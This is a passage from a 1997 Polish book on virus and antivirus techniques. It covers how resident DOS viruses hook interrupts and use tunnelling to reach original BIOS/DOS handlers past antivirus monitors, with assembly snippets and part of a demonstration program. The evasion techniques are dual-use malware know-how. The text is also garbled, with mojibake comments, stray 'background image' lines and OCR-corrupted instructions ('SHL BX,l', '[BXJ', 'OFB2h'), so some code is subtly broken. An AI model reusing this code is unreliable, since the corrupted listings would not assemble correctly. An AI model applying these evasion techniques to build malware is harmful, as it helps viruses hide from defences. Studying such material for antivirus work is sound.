Ju┐Zainstalowany:         ; powr¾µ do nosiciela

Wiedza o najczęściej przejmowanych przerwaniach pozwala często na ręczne przejście 
przez łańcuch obsługi przerwania przy użyciu de-buggera i sprawdzenie po drodze, czy 
nie ma gdzieś kodu budzącego podejrzenia, prawdopodobnie należącego do wirusa. 
Przy takim sprawdzaniu należy pamiętać o kilku niebezpieczeństwach związanych z 
używaniem debuggera w systemie kontrolowanym przez wirusa. Wirus może 
kontrolować funkcję (4B01/21), służącą debugge-rom do ładowania programów. Jeżeli 
jest ona wywoływana, wirus może się deinstalować z pamięci lub podjąć jakieś inne 
działanie, maskujące lub destrukcyjne. Podobne niebezpieczeństwo grozi ciekawskiemu 
użytkownikowi ze strony niektórych, najczęściej destrukcyjnych wirusów, kontrolujących 
stan przerwania INT 01h i INT 03h, a te, jak wiadomo, używane są najczęściej przez 

background image

programy uruchomieniowe. Zwykle po wykryciu, iż adres procedury obsługi któregoś z 
tych przerwań nie wskazuje na rozkaz IRET (czyli na pustą procedurę obsługi 
przerwania), wirus bądź blokuje komputer, bądź brutalnie niszczy dane na dysku 
twardym. Jeszcze inne niebezpieczeństwo
może grozić użytkownikowi ze strony wirusów, które potrafią sprawdzać poprawność 
swego kodu. Procedura autoweryfikacji może być wywoływana przez każde z 
niewinnych przerwań programowych, używanych powszechnie w oprogramowaniu (np.: 
10h, 16h) lub też może być podczepiona pod któreś z przerwań sprzętowych. W 
przypadku wykrycia jakichś zmian (np, zły wynik obliczanej na bieżąco sumy 
korekcyjnej) wirus może natychmiast podjąć niemile dla użytkownika działanie 
odwetowe.
Na koniec warto jeszcze wspomnieć, iż zamiast przerwań niektóre wirusy rezydentne 
przejmują obsługę sterowników urządzeń blokowych, zajmujących się operacjami na 
urządzeniach masowych, takich jak dysk twardy czy dyskietka, w sposób analogiczny do 
programów umieszczanych w plikach SYS. Pozwala im to monitorować odwołania do 
dysków logicznych, zainstalowanych w systemie na poziomie pośrednim między 
systemem DOS i BIOS (jest to potrzebne np. przy infekcji polegającej na podmianie 
pierwszej JAP pliku). Tak przejęte odwołanie do systemu będzie dość trudne do 
wykrycia poprzez ręczne analizowanie kodu jakiegoś przerwania krok po kroku.

6.2. Wykorzystanie funkcji DOS
Najprościej przejąć obsługę przerwania używając dwóch przeznaczonych do tego celu 
funkcji DOS, tzn. (25/35/21) za pomocą poniższej sekwencji w asemblerze:
                          ; Przejmowanie przerwa± za pomoce DOS-a
MOV  AL, NUMER            ; podaj w AL numer przerwania 
MOV  AH, 35h              ; w AH numer funkcji, weƒ adres starej procedury               
                          ; obs│ugi przerwania 
INT   21h                 ; wywo│aj funkcjÛ DOS po wywo│aniu funkcji 
MOV   [StarySEG],ES       ; w ES:BX pobrany adres poprzedniej procedury 
MOV   [StaryOFS],BX       ; obs│ugi, kt¾ry najczÛ£ciej zapamiÛtuje siÛ
MOV  AH, 25h              ; w AH numer funkcji, ustaw now╣ procedurÛ obs│ugi
                          ; przerwania 
MOV   AL,NUMER            ; w AL numer przerwania
MOV   DS, SEG Nowa        ; DS:DX zawiera adres do nowej procedury 
MOV   DX, OFFSET Nowa     ; obs│ugi przerwania 
INT   21h                 ; wywo│aj funkcjÛ DOS

Powyższy sposób przejmowania przerwań, zalecany przez twórców systemu DOS, ze 
względu na możliwość monitorowania funkcji (25/35/21) przez program antywirusowy, 
stosują najczęściej prymitywne wirusy. Bardziej wyrafinowane, używają metod trochę 
innych, omówionych poniżej.

6.3. Bezpośrednie zmiany w tablicy wektorów przerwań
Bezpieczniejszym (ze względu na programy antywirusowe) sposobem na przejęcie 
przerwania jest bezpośrednia manipulacja w tablicy wektorów przerwań, przy użyciu 
poniższej sekwencji w asemblerze, wykonującej w przybliżeniu to samo, co sekwencja z 
poprzedniego punktu:

background image

: Przejmowanie przerwa± bezpo£rednio w tablicy przerwa± 
MOV   BL, NUMER               ; w BL numer zmienianego przerwania 
XOR   BH,BH                   ; BX=BL 
SHL   BX,l                    ; pomn¾┐ je przez 4 (2 razy przesu± w lewo) 
SHL   BX,l                    ; jeszcze raz przesu± w lewo
XOR   AX,AX                   ; zeruj rejestr AX 
MOV   DS,AX                   ;  i z jego pomoc╣ zeruj rejestr segmentu DS

                 ; DS:BX wskazuje na pozycjÛ w tablicy przerwa±, 

                              ; gdzie zapisany jest adres obs│ugi przerwania
LDS DX,DS:[BX]                ; pobierz segment i offset przerwania (do 
                              ; zapamiÛtania)
MOV [StarySEG],DS             ; zachowaj segment
MOV [StaryOFS],DX             ; zachowaj offset
MOV DS,AX                     ; ponownie DS=0
CLI                           ; bezpiecznie zmieniaµ adres obs│ugi przerwania 
                              ; przy wy│╣czonych przerwaniach 
MOV DS:[BXJ,OFFSET NOWA       ; bezpo£rednie warto£ci wskazujÛ
                              ; na adres nowej 
MOV DS:[BX+2], SEG NOWE       ; procedury obs│ugi przerwania 
STI                           ; teraz mo┐na ju┐ w│╣czyµ przerwania

Oczywiście, w powyższej sekwencji można pominąć rejestr BX i podać offset w postaci 
absolutnej (np, jako 21h*4), jednak użycie rejestru umożliwia przejmowanie więcej niż 
jednego przerwania za pomocą tej samej procedury (należy zmieniać tylko wartość BL).

6.4. Włączanie się do istniejącego łańcucha obsługi przerwania i znajdowanie 
czystych wejść do systemu (ang. tunnelling
)
Dowolna modyfikacja w tablicy przerwań jest łatwa do wykrycia przez 
najprymitywniejszy nawet program antywirusowy, stąd też twórcy wirusów poszukiwali 
innej metody przejmowania przerwań, dzięki której nie trzeba modyfikować tablicy 
przerwań. Opracowano szereg metod polegających na włączaniu się do istniejącego 
łańcucha procedur obsługi przerwania, zwanych ogólnie tunelingiem.
Zainstalowany rezydentnie w pamięci wirus musi mieć możliwość wywoływania 
pierwotnej procedury przejętego przez siebie przerwania (np. podczas infekcji potrzebne 
są funkcje systemu obsługujące działania na plikach). Wywoływanie aktualnej (tzn. 
wskazywanej przez tablicę przerwań) procedury obsługującej dane przerwanie lub 
nawet tej, która została zapamiętana podczas instalacji wirusa w pamięci, grozi szybkim 
wykryciem przez monitor antywirusowy Najlepiej, gdy wywoływana przez wirusa 
procedura jest ostatnim elementem w łańcuchu procedur obsługi przerwania, czyli jest 
to po prostu oryginalna procedura zawarta w BIOS-ie lub DOS-ie.

6.4.1. Korzystanie ze stałych adresów w systemie (przerwania 21h i 2Fh)
Ta metoda tunelingu jest możliwa tylko w wersjach DOS powyżej 5.00. Służy ona do 
przechwytywania obsługi przerwania 21h i ewentualnie 2Fh (przy okazji znajdowany jest 
oryginalny adres procedury obsługi tego przerwania, ulokowanej w kodzie systemu 
DOS). Wykorzystuje ona fakt, iż system DOS posiada w swym pierwszym bloku MCB 
(oznaczonym jako systemowy) standardową sekwencję kodu (taką samą dla obu 

background image

przerwań 21h i 2Fh), która została przedstawiona poniżej.
Sekwencja kodu występująca w DOS od 5.0 wzwyż
DOS używa HMA

DOS nie używa HMA

Adres

Kod

Znaczenie

Kod 

Znaczenie

SEG:OFS

90 90

NOP NOP

EB 03

JMP $+3

SEG:OFS+2 E8 xxxx

CALL [IP+xxxx] E8 xxxx

CALL [IP+xxxx]

 

SEG:OFS+

5

2E FF 2E yyyy JMP FAR 

CS:[yyyy]

2E FF 2E

JMP FAR 
CS:[yyyy]

Dla przerwania 21h powyższa sekwencja kodu występuje pod adresem SEG:OFS, gdzie 
OFS jest równy 109Eh (w wersji DOS od 5.00 do 6,22) lub 0FB2h w wersjach powyżej 
6.22 (np. DOS 7.0, występujący z systemem Windows 95).
W przypadku przerwania 2Fh OFS jest równy: 10C6h (dla DOS 5.00 - 6.22) i 0FDAh 
(dla wersji 7.00).
Wartość SEG jest wartością zwracaną przez funkcję 52h w rejestrze ES. Na podstawie 
powyższych danych łatwo odczytać adres pierwotnego adresu procedury int 21h, 
korzystając z następującej sekwencji:
MOV AH,30H               ; funkcja - weƒ wersjÛ systemu 
INT 21h                  ; wywo│aj funkcjÛ
XCHG AL,AH               ; zabieg kosmetyczny - aby p¾ƒniejsze 

                      

                         ; por¾wnanie by│o bardziej przejrzyste 
MOV BX,109EH             ; offset dla wersji 5.00 - 6.22
CMP AX,0500h             ; czy wersja 
JB NIEDZIAúA             ; je£li tak, to tunneling nie dzia│a
CMP AX,0622h             ; czy wersja wiÛksza od 6.22 ? 
JB Wer5_6_22
MOV BX,OFB2h             ; nowsze wersje DOS - inny offset
Wer5_6_22:
PUSH BX                  ; zachowaj offset na stosie
MOV AH,52h               ; funkcja - podaj adres do LL 
INT 21h                  ; wywo│aj funkcjÛ
POP BX                   ; teraz ES:BX wskazuje na sekwencjÛ z tabeli
CMP WORD PTR ES:[BX],9090h; czy jedna z sekwencji ? 
JE JEST                  ; jest czÛ£µ sekwencji
CMP WORD PTR ES:[BX],03EBh ; czy druga z sekwencji ? 
JNE NIEDZIAúA            ; nie ma sekwencji - tuneling nie dzia│a
JEST:
CMP BYTE PTR ES:[BX+2],OE8h; czy druga czÛ£µ sekwencji ? 
JNE NIEDZIAúA            ; nie ma sekwencji - tuneling nie dzia│a
CMP WORD PTR ES:[BX+5],0FF2Eh ; czy trzecia czÛ£µ sekwencji ? 
JNE NIEDZIAúA            ; nie ma sekwencji - tuneling nie dzia│a
CMP BYTE PTR ES:[BX+7],02Eh ; czy czwarta czÛ£µ sekwencji ? 
JNE NIEDZIAúA            ; nie ma sekwencji - tunelling nie dzia│a
                         ; znaleziona pe│na sekwencja 
MOV BX,WORD PTR ES:[BX+8]
LES BX,DWORD PTR ES:[BX]      ; ES:BX wskazuje na oryginalny adres int 21h
NIEDZIALA:

background image

Dla przerwania 2Fh sekwencja będzia wyglądała bardzo podobnie, z jedyną zmianą w 
programie wartości 0FS z 109Eh na 10C6h i 0FB2h na 0FDAh.

6.4.2. Wykorzystanie trybu krokowego procesora (ang. tracing)
Do znalezienia oryginalnych wejść do procedur obsługi przerwań można wykorzystać 
tryb krokowy procesora. Po zainstalowaniu odpowiedniego monitora pod przerwaniem 
krokowym wykonuje się jakąś testową funkcję, której wynik jest już wcześniej znany (np. 
przez uprzednie wywołanie tej funkcji bez monitora przerwania krokowego). Na bazie 
tego możemy stwierdzić (będąc w procedurze obsługi przerwania krokowego), czy 
znajdujemy się w poszukiwanym, oryginalnym kodzie przerwania, poprzez testowanie 
zawartości odpowiedniego rejestru lub ich grupy.
Dla przerwania int 21h wygodnie śledzić np. funkcję 62h (weź aktualny adres PSP) lub 
funkcję 30h (weź numer wersji DOS), dla przerwania int 13h taką funkcją może być 08h 
(weź informację o parametrach dysku).

6.4.3. Tuneling rekursywny (ang. recursive tunneling)
Ze względu na możliwość blokowania trybu krokowego procesora do znalezienia 
oryginalnego adresu przerwania 21h można zastosować tzw. tuneling rekursywny. 
Polega on na tym, iż w otoczeniu aktualnej procedury obsługi przerwania (wskazywanej 
przez tablicę przerwań), poszukuje się kodów wywołań dalekich procedur lub skoków, 
dzięki którym zwykle przekazywane jest sterowanie do kolejnego elementu łańcucha 
obsługi przerwania. Najczęściej łańcuch taki składa się z następujących sekwencji:
Element_l
.........                ; pierwszy element │a±cucha
Skok_do_Elementu_2
.........                ; pamiÛµ wykorzystywana przez inne programy
Element_2 .........      ; drugi element │a±cucha
Skok_do_Elementu_3
.........                ; pamiÛµ wykorzystywana przez inne programy
Element_N .........      ; ostatni element │a±cucha - poszukiwana czÛ£µ systemu 
Powr¾t_Z_Elementu_N      ; powr¾t poprzez rozkaz IRET lub
                         ; RETF 2 do elementu  poprzedniego lub bezpo£rednio
                         ; do wywo│uj╣cego programu

Na przykład działanie procedury szukającej adresu przerwania 21h można sprowadzić 
do następującej sekwencji:
mov ah,52h                       ; pobierz do ES:BX adres struktury 
int 21h                          ;  LL (lista list) 
mov bx,es
xor ax,ax                        ; ustaw adres DS:SI na adres
mov ds,ax                        ; przerwania 21h wskazywanego
mov si,21h*4                     ; przez tablice przerwa±
xchg ax,di                       ; DI=licznik sprawdzanych bajtow=0
Adres 32:
Ids si,ds:[si]                   ; pobierz adres
or   bx,bx                       ; czy koniec szukania ? 

background image

jz   WSegmencieDOS               ; TAK - powr¾t DS:SI-adres
mov ax,ds                        ; \ czy jest to segment DOS ? 
cmp ax, bx                       ; /
jne NastepnyBajt                 ; TAK - znaleziony adres 
xor bx,bx                        ; BX=0 oznacza koniec szukania
NastepnyBajt:
lodsw                            ; weƒ 2 bajty bÛd╣ce czÛ£ci╣ aktualnej procedury dec si 
; sprawdzamy co bajt
cmp al,9Ah                       ; czy jest to CALL FAR PTR ? 
je   Adres32                     ; TAK - weƒ kolejny adres
cmp al,0EAh                      ; czy jest to JMP FAR PTR ? 
je   Adres32                     ; TAK - weƒ kolejny adres
cmp ax,0FF2Eh                    ; czy jest to JMP FAR CS:DWORD ? 
jne NieJMP_DWORD
cmp byte ptr [si+l],al           ; czy dalsz╣ czÛ£µ rozkazu JMP FAR CS:DWORD ? 
jne NieJMP_DWORD
mov si,ds:[si+2]                 ; pobierz offset do danych dla skoku jmp short Adres32 
; TAK - weƒ kolejny adres
NieJMP_DWORD:
inc DI                           ; licznik sprawdzanych bajt¾w 
and DI,4095                      ; je┐eli sprawdzono ju┐ 4095 bajt¾w, 
je Recursive21_Exit              ; to ko±cz, bo tuneling nie dzia│a
jmp NastepnyBajt                 ; weƒ kolejny bajt
WSegmencieDOS:
............                     ; adres zosta│ znaleziony (jest w DS:SI)
RecursNieDzia│a:
............                     ; adres nie zosta│ znaleziony

6.4.4. Trik2F/13
Do znalezienia oryginalnego programu obsługi przerwania 13h (obsługa fizycznych 
dysków) w ROM-BIOS można zastosować funkcję (13/2F), która służy do ustawiania 
nowej procedury obsługi dysków. Po jej wywołaniu dodatkowo zwracana jest informacja 
o obecnej i pierwotnej (oryginalnej) procedurze obsługi tego przerwania [dokładniej: 
zwracane są wartości parametrów z poprzedniego wywołania funkcji (13/2F)]. Funkcję tę 
wykorzystuje IO.SYS przy starcie sy
stemu, aby przejąć kontrolę nad różnymi błędami pojawiającymi się przy dostępie do 
dysków. To, że potrzebuje ona parametrów wejściowych, można pominąć, gdyż jej 
dwukrotne wywołanie przywraca oryginalne ustawienia systemu. Poniższa sekwencja 
pokazuje, jak za pomocą opisanej funkcji znaleźć oryginalny (o ile nie jest on 
kontrolowany przez program antywirusowy) adres int 13h w ROM-BIOS-ie:
; Trik 2F/13 
MOV AH,13h             ; funkcja - ustaw obs│ugÛ dysk¾w DS:DX adres 

    ; procedury obs│ugi (mo┐na pomin╣µ gdy┐ za

           ; chwilÛ i tak zostanie przywr¾cona w│a£ciwa 

                       ; procedura obs│ugi). ES:BX adres procedury, kt¾ra system
                       ; bÛdzie ustawia│ jako procedurÛ obs│ugi przerwania nr 13h

background image

    ; przy ewentualnym zawieszeniu systemu lub po wywo│aniu

          ; int 19h (tak┐e mo┐na pomin╣µ) 

INT 2Fh                ; wywo│aj funkcjÛ 13h

          ; po wywo│aniu ES:BX zwraca adres procedury, kt¾ra system
          ; ustawi jako int 13h w wy┐ej wymienionych wypadkach, czyli

    ; zwykle bÛdzie to oryginalna procedura obs│ugi przerwania 

13h MOV SEG_13,ES      ; trzeba zapamiÛtaµ adres oryginalnej procedury obs│ugi 
MOV OFS_13,BX          ;  intl3h, znajduj╣cej siÛ w ES:BX 
MOV AH,13h             ; funkcja - ustaw obs│ugÛ dysk¾w DS:DX i ES:BX to warto£ci

                 ; z poprzedniego wywo│ania funkcji (13/2F) 

INT 2Fh                ; wywo│aj funkcjÛ 13h

Poniższy program znajduje (o ile to możliwe) wejścia do przerwań 21h, 13h, 2Fh, z 
wykorzystaniem różnych technik tunelingowych-

;----------------------------------------------------------------------------;
;                                                                            ;
;       Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe"        ;
;                                                                            ;
;                     TUNEL v1.0, Autor : Adam Blaszczyk 1997                ;
;                                                                            ;
;   Program demonstruje uzycie kilku odmian tunelingu                        ;
;   do znalezienia oryginalnych adresow przerwan                             ;
;   - 13h (trik 2F/13, tryb krokowy)                                         ;
;   - 21h (tablica stalych adresow, tryb krokowy, tuneling rekursywny)       ;
;   - 2Fh (tablica stalych adresow)                                          ;
;                                                                            ;
; Kompilacja :                                                               ;
;             TASM     TUNEL.ASM                                             ;
;             TLINK /t TUNEL.OBJ                                             ;
;                                                                            ;
;----------------------------------------------------------------------------;
;
NUL = 00h                               ; \
LF  = 0Ah                               ;  - stale potrzebne do deklaracji
CR  = 0Dh                               ; /  lancuchow napisowych

ON  = 001h                              ; \ stale potrzebne do obslugi
OFF = 002h                              ; / przerwania 1

PROG segment                            ; segment kodu i danych

ORG 100h                                ; program jest typu COM

Assume CS:PROG, DS:PROG, ES:PROG, SS:PROG

CodeStart:                              ; tu zaczyna sie program

background image

           lea  si,TeCopyRight          ; \ pokaz info o programie
           Call Print                   ; /

           Call GetOriginal13           ; pokaz oryginalny adres 13h

           Call GetOriginal21           ; pokaz oryginalny adres 21h

           Call GetOriginal2F           ; pokaz oryginalny adres 21h

           mov  ax, 4C00h               ; \ koncz program i powroc do DOSa
           int  21h                     ; /

GetOriginal13  proc near                ; procedura pobiera oryginalny adres
                                        ; Int 13h (na dwa sposoby) i wyswietla
                                        ; go
           push si                      ; zachowaj zmieniany rejestr

           lea  si,TeGet13              ; \ pokaz info o przerwaniu 13h
           Call Print                   ; /

           Call Trik2F13                ; wez adres 13h
                                        ; metoda Trik 2F/13
           Call ShowAddr                ; pokaz adres 13h

           Call Tracing13               ; wez adres 13h
                                        ; metoda tracingu
           Call ShowAddr                ; pokaz adres 13h

           pop  si                      ; przywroc zmieniany rejestr

           ret                          ; powrot z procedury

GetOriginal13  endp

Trik2F13 proc near                      ; procedura pobiera oryginalny adres
                                        ; Int 13h wykorzystujac funkcje 13h
                                        ; przerwania 2Fh
                                        ; (wewnetrzna funkcja DOS)
           push ds                      ; \
           push es                      ;  \
           push ax                      ;   \ zachowaj zmieniane rejestry
           push bx                      ;   /
           push dx                      ;  /
           push si                      ; /

           lea  si,TeTrik2F13           ; \ pokaz info o metodzie

background image

           Call Print                   ; / Trik 2F/13h

           xor  ax,ax                   ; \ zeruj zmienne pomocnicze
           mov  ShowSeg,ax              ;  /
           mov  ShowOfs,ax              ; /

           mov  ah,13h                  ; \
           int  2Fh                     ;  \
                                        ;   \
           mov  cs:ShowSeg,es           ;    \ trik 2F/13
           mov  cs:ShowOFS,bx           ;    /
                                        ;   /
           mov  ah,13h                  ;  /
           int  2Fh                     ; /

           pop  si                      ; \
           pop  dx                      ;  \
           pop  bx                      ;   \ przywroc zmieniane rejestry
           pop  ax                      ;   /
           pop  es                      ;  /
           pop  ds                      ; /

           ret                          ; powrot z procedury

Trik2F13 endp

Tracing13 proc near                     ; procedura popbiera oryginalny
                                        ; adres Int 13h, wykorzystujac
                                        ; metode tracingu

           push ds                      ; \
           push es                      ;  \
           push ax                      ;   \ zachowaj zmieniane rejestry
           push bx                      ;    /
           push cx                      ;   /
           push dx                      ;  /
           push si                      ; /

           mov  ShowError, offset TeTracingFail
                                        ; ewentualny komunikat o bledzie

           lea  si,TeTracing13          ; \ wyswietl info o metodzie
           Call Print                   ; /

           xor  ax,ax                   ; \ zeruj zmienne pomocnicze
           mov  ShowSeg,ax              ;  /
           mov  ShowOfs,ax              ; /

background image

           mov  ah,8                    ; \   pobierz info o twardym dysku
           mov  dl,80h                  ;  \  i zachowaj na pozniej wartosci
           int  13h                     ;   / rejestrow CX i DX; beda one
           mov  MagicNum1,cx            ;  /  potrzebne do sprawdzenia czy
           mov  MagicNum2,dx            ; /   tracer jest juz w dobrym kodzie

           mov  ax,3513h                ; \   wez adres przerwania Int 13h,
           int  21h                     ;  \  zeby mozna je bylo przetrace'owac,
           mov  CallFarSeg,es           ;  /  trzeba je emulowac poprzez
           mov  CallFarOfs,bx           ; /   pushf/call dword ptr Ofs:Seg

           mov  TraceMode,OFF           ; flaga potrzebna tracerowi

           mov  ax,3501h                ; \    pobierz adres obslugi
           int  21h                     ;  \   przerwania krokowego Int 1
           mov  of1,bx                  ;   \
           mov  se1,es                  ;    \ i ustaw nowa procedure jego
                                        ;    - obslugi, sprawdzajaca, czy
           mov  dx,offset Tracer_13     ;   /  funkcja zostala juz wykonana
           mov  ax,2501h                ;  /   przez BIOS
           int  21h                     ; /

           pushf                        ; \    wlacz tryb krokowy
           pop ax                       ;  \   procesora
           or ah,1                      ;   \
           push ax                      ;  /
           popf                         ; /

           mov  dl,80h                  ; parametr funkcji 08/int 13h = HD0
           mov  ah,08h                  ; numer funkcji BIOS
           pushf                        ; czesc emulacji Int 13
           mov  TraceMode,ON            ; wlacz flage tracera
           Call dword ptr cs:IntAsFarCall
                                        ; emuluj int 13
           mov  TraceMode,OFF           ; wylacz flage tracera

           pushf                        ; \    wylacz tryb krokowy
           pop  ax                      ;  \   procesora
           and  ah,0FEH                 ;   \
           push ax                      ;  /
           popf                         ; /

           lds  dx,dword ptr cs:of1     ; \  przywroc stary adres przerwania
           mov  ax,2501h                ;  / krokowego Int 1
           int  21h                     ; /

background image

           pop  si                      ; \
           pop  dx                      ;  \
           pop  cx                      ;   \ przywroc zmieniane rejestry
           pop  bx                      ;    /
           pop  ax                      ;   /
           pop  es                      ;  /
           pop  ds                      ; /

           ret                          ; powrot z procedury

Tracing13 endp

Tracer_13  proc far

           push bp                      ; zachowaj zmieniany rejestr

           mov  bp,sp                   ; BP wskazuje na stos
                                        ; [bp+00]  BP
                                        ; [bp+02]  IP
                                        ; [bp+04]  CS
                                        ; [bp+06]  FLAGS

           push ax                      ; zachowaj zmieniany rejestr

           cmp  cs:TraceMode,ON         ; czy wlaczony tracer ?
           jne  Tracer_13Exit           ; jesli nie, to wyskocz z procedury

           mov  ax,[bp+04]              ; AX=CS image
           cmp  ax,cs:ShowSeg           ; czy segment kodu ten sam
           je   OldSeg13                ; tak=wyskocz procedury

                                        ; nie=zachowaj nowy adres seg:ofs
           mov  cs:ShowSeg,ax           ; AX=CS image
           mov  ax,[bp+02]              ; AX=IP image
           mov  cs:ShowOfs,ax

OldSeg13:
           cmp cx,cs:MagicNum1          ; \
           jne Tracer_13Exit            ;  \ czy funkcja sie juz wykonala ?
           cmp dx,cs:MagicNum2          ;  / nie=wyskocz z procedury
           jne Tracer_13Exit            ; /

           mov cs:TraceMode,OFF         ; tak=wylacz tracer, bo adres
                                        ; znaleziony
Tracer_13Exit:                          ; koniec przerwania Int 1

           pop ax                       ; przywroc zmieniany rejestr

background image

           or   byte ptr [bp+7],1       ; [bp+06]  FLAGS , ustaw
                                        ; bit TF dla nastepnego rozkazu
                                        ; wykonywanego po IRET

           pop  bp                      ; przywroc zmieniany rejestr

           iret                         ; powrot z przerwania Int 1

Tracer_13  endp

GetOriginal21  proc near

           push si                      ; zachowaj zmieniany rejestr

           lea  si,TeGet21              ; \ pokaz info o przerwaniu 21h
           Call Print                   ; /

           Call LookUpTable21           ; wez adres 21h
                                        ; tablica stalych adresow
           Call ShowAddr                ; pokaz adres 21h

           Call Recursive21             ; wez adres 21h
                                        ; metoda tunelingu rekursywnego
           Call ShowAddr                ; pokaz adres 21h

           Call Tracing21               ; wez adres 21h
                                        ; metoda tracingu (tryb krokowy)
           Call ShowAddr                ; pokaz adres 21h

           pop  si                      ; przywroc zmieniany rejeetr

           ret                          ; powrot z procedury

GetOriginal21  endp

LookUpTable21 proc near

           push es                      ; \
           push ax                      ;  \  zachowaj zmieniane rejestry
           push bx                      ;  /
           push si                      ; /

           lea  si,TeLookUpTable21      ; \ wyswietl info o metodzie
           Call Print                   ; /

           xor  ax,ax                   ; \ zeruj zmienne pomocnicze

background image

           mov  ShowSeg,ax              ;  /
           mov  ShowOfs,ax              ; /

           mov  ShowError, offset TeLookUpTableFailDOSVer
                                        ; ewentualny komunikat o bledzie

           mov  ah,30h                  ; \ wez wersje DOS
           int  21h                     ; /
           xchg al,ah                   ; ax=wersja DOS, ah=major,al=minor

           mov  bx,109Eh                ; ofset dla DOS 5.0 - 6.22

           cmp  ax,0500h                ; wersja musi byc wieksza od 5.00
           jb   LookUpTable21_Exit      ; mniejsza=tuneling nie zadziala

           cmp  ax,0622h                ; dla wersji wiekszej od 6.22
           jbe  DOSVerOk21              ; jest inny ofset

           mov  bx,0FB2h                ; ofset dla DOS >6.22 (np. 7.0)

DOSVerOk21:                             ; ofset ustawiony
           push bx                      ; zachowaj go na stosie

           mov  ah,52h                  ; \ pobierz do ES:BX adres struktury
           int  21h                     ; / LL (lista list)

           pop  bx                      ; przywroc ze stosu ofset do skoku

           mov  ShowError, offset TeLookUpTableFailBadOfs
                                        ; ewentualny komunikat o bledzie

                                        ; czy pod ES;BX jest sekwencja
                                        ; 90 lub EB      NOP \JMP $+3
                                        ; 90 lub 03      NOP /
                                        ; E8 xx xx       CALL NEAR [IP+xxxx]
                                        ; 2E FF 2E yyyy  JMP FAR CS:[yyyy] ?
           cmp  word ptr es:[bx],9090h
           je   FirstCodeOK21           ; skocz, gdy sa 2 NOPy

           cmp  word ptr es:[bx],03EBh
           jne  LookUpTable21_Exit      ; skocz, gdy JMP $+3

FirstCodeOK21:
           cmp  byte ptr es:[bx+2],0E8h ;
           jne  LookUpTable21_Exit      ; skocz, gdy nie ma CALL xxxx

           cmp  word ptr es:[bx+5],0FF2Eh

background image

           jne  LookUpTable21_Exit      ; skocz, gdy nie ma czesci rozkazu jmp far

           cmp  byte ptr es:[bx+7],02Eh ;
           jne  LookUpTable21_Exit      ; skocz, gdy nie ma czesci rozkazu jmp far

           mov  bx,word ptr es:[bx+8]   ; \ pobierz [yyyy]=adres oryginalnej procedury
           les  bx,dword ptr es:[bx]    ; /

           mov  ShowSeg,es              ; przepisz segment i offset
           mov  ShowOfs,bx              ; potrzebne do wyswietlenia adresu

LookUpTable21_Exit:                     ; skacz tu, gdy jakis blad

           pop  si
           pop  bx                      ; \
           pop  ax                      ;  - przywroc zmieniane rejeetry
           pop  es                      ; /

           ret                          ; powrot z procedury

LookUpTable21 endp

Recursive21 proc near

           push es                      ; \
           push ds                      ;  \
           push ax                      ;   \  zachowaj zmieniane rejestry
           push bx                      ;   /
           push si                      ;  /
           push di                      ; /

           lea  si,TeRecursive21        ; \ wyswietl info o metodzie
           Call Print                   ; /

           mov  ShowError, offset TeRecursive21Fail
                                        ; ewentualny komunikat o bledzie

           xor  ax,ax                   ; \ zeruj zmienne pomocnicze
           mov  ShowSeg,ax              ;  /
           mov  ShowOfs,ax              ; /

           mov  ah,52h                  ; \ pobierz do ES:BX adres struktury
           int  21h                     ; / LL (lista list)
           mov  bx,es

           xor  ax,ax                   ; ustaw adres DS:SI na adres
           mov  ds,ax                   ; przerwania 21h wskazywanego

background image

           mov  si,21h*4                ; przez tablice przerwa±
           xchg ax,di                   ; DI=licznik sprawdzanych bajtow=0

   Adres32:
           lds     si,ds:[si]           ; pobierz adres

           or      bx,bx                ; czy koniec szukania ?
           jz      WSegmencieDOS        ; TAK - powrot DS:SI=adres

           mov     ax,ds                ; \ czy jest to segment DOS ?
           cmp     ax,bx                ; /

           jne NastepnyBajt             ; TAK - znaleziony adres
           xor     bx,bx                ; BX=0 oznacza koniec szukania

   NastepnyBajt:
           lodsw                        ; wez 2 bajty bedace czescia
                                        ; aktualnej procedury
           dec     si                   ; sprawdzamy co bajt

           cmp     al,9Ah               ; czy jest to CALL FAR PTR ?
           je      Adres32              ; TAK - wez kolejny adres

           cmp     al,0EAh              ; czy jest to JMP FAR PTR ?
           je      Adres32              ; TAK - wez kolejny adres

           cmp     ax,0FF2Eh            ; czy jest to JMP FAR CS:DWORD ?
           jne     NieJMP_DWORD         ;

           cmp     byte ptr [si+1],al   ; czy dalsza czesc rozkazu JMP FAR CS:DWORD ?
           jne     NieJMP_DWORD         ;

           mov     si,ds:[si+2]         ; pobierz ofset do danych dla skoku
           jmp     short Adres32        ; TAK - wez kolejny adres

NieJMP_DWORD:

           inc     DI                   ; licznik sprawdzanych bajtow
           and     DI,4095              ; jezeli sprawdzono juz > 4095 bajtow,
           je      Recursive21_Exit     ; to koncz, bo tuneling nie dziala

           jmp  NastepnyBajt            ; wez kolejny bajt

WSegmencieDOS:
                                        ; adres zostal znaleziony (jest w DS:SI)

background image

           mov  cs:ShowSeg,ds           ; przepisz segment i offset
           mov  cs:ShowOfs,si           ; potrzebne do wyswietlenia adresu

Recursive21_Exit:                       ; skacz tu, gdy jakis blad

           pop  di                      ; \
           pop  si                      ;  \
           pop  bx                      ;   \ przywroc zmieniane rejeetry
           pop  ax                      ;   /
           pop  ds                      ;  /
           pop  es                      ; /

           ret                          ; powrot z procedury

Recursive21 endp

Tracing21 proc near                     ; procedura popbiera oryginalny
                                        ; adres Int 13h wykorzystujac
                                        ; metode tracingu

           push ds                      ; \
           push es                      ;  \
           push ax                      ;   \ zachowaj zmieniane rejestry
           push bx                      ;    /
           push cx                      ;   /
           push dx                      ;  /
           push si                      ; /

           mov  ShowError, offset TeTracingFail
                                        ; ewentualny komunikat o bledzie

           lea  si,TeTracing21          ; \ wyswietl info o metodzie
           Call Print                   ; /

           xor  ax,ax                   ; \ zeruj zmienne pomocnicze
           mov  ShowSeg,ax              ;  /
           mov  ShowOfs,ax              ; /

           mov  ah,62h                  ; \   pobierz info o aktualnym PSP
           int  21h                     ;  \  i zachowaj na pozniej te wartosc
           mov  MagicNum1,bx            ;   / (rejestr BX) bedzie ona
                                        ;  /  potrzebna, zeby sprawdzic, czy
                                        ; /   tracer jest juz w dobrym kodzie
           mov  ax,3521h
           int  21h                     ; \   wez adres przerwania Int 21h,
           mov  CallFarSeg,es           ;  \  zeby mozna je bylo przetrace'ow
           mov  CallFarOfs,bx           ;  /  trzeba je emulowac poprzez

background image

                                        ; /   pushf/call dword ptr Ofs:Seg

           mov  TraceMode,OFF           ; flaga potrzebna dla tracera

           mov  ax,3501h                ; \    pobierz adres obslugi
